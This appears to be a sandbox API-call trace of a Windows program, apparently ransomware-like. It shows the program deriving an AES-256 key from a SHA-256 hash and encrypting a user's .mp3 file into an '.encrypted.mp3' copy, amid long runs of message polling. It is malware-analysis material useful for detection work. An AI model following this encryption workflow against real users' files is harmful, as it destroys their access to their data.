CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.280] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.280] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.280] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.281] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.281] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.281] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.282] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.282] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.282] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.283] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.283] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.283] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b780, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.283] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.283] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.284] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.284] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.284] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0027.284] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.285] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n_v7t6p3k51.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.285] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.285] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.286] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.286] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.286] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n_v7t6p3k51.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.302] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x9b3d, lpOverlapped=0x0) returned 1 [0027.303] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.305] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.305] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.306] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.306] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.306] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.306] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.306] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.306] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.306] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.307] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ba0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ba0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.307] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.307] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 